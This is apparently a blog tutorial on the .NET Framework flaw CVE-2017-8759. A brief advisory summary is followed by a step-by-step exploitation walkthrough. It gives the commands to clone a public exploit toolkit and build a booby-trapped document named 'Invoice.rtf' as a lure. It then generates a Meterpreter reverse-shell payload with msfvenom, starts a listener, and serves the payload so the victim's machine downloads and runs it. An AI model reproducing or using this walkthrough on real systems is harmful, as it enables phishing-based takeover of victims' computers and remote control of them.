Microsoft CVE-2017-8759: .NET Framework Remote Code Execution Vulnerability

Microsoft CVE-2017-8759: .NET Framework Remote Code Execution Vulnerability

A remote code execution vulnerability exists when Microsoft .NET Framework processes untrusted input. An attacker who successfully exploited this vulnerability in software using the .NET framework could take control of an affected system. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights.

Users whose accounts are configured to have fewer user rights on the system could be less impacted than users who operate with administrative user rights.

To exploit the vulnerability, an attacker would first need to convince the user to open a malicious document or application. The security update addresses the vulnerability by correcting how .NET validates untrusted input.

There is a python script available to take advantage of this exploit; as well as embedding a Metasploit payload. GitHub link to the exploit: click here.

Usage:

git clone https://github.com/bhdresh/CVE-2017-8759
cd CVE-2017-8759
chmod +x cve-2017-8759_toolkit.py

That has downloaded the python script and set it as executable. Lets start by generating the malicious document:

python cve-2017-8759_toolkit.py -M gen -w Invoice.rtf -u http://192.168.56.1/logo.txt

In a new terminal, generate the payload and start the Metasploit handler.

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.1 LPORT=4444 -f exe > /tmp/shell.exe
msfconsole -x “use multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.56.1; run”

This should open a Metasploit session and start listening for incoming connections on IP 192.168.56.1 and Port 4444.

Adjust these to match your attacking machine. Now all that’s needed is a place for the target to download the payload; running the python script again will create a webserver and deliver the payload:

python cve-2017-8759_toolkit.py -M exp -e http://192.168.56.1/shell.exe -l /tmp/shell.exe

If all has gone to plan and the target has ran the Invoice.rtf file generated then you should have a meterpreter reverse_tcp session open to the target.

Almost every version of Windows is affected by this; you can read more information about this from Microsoft by clicking here.

Leave a Comment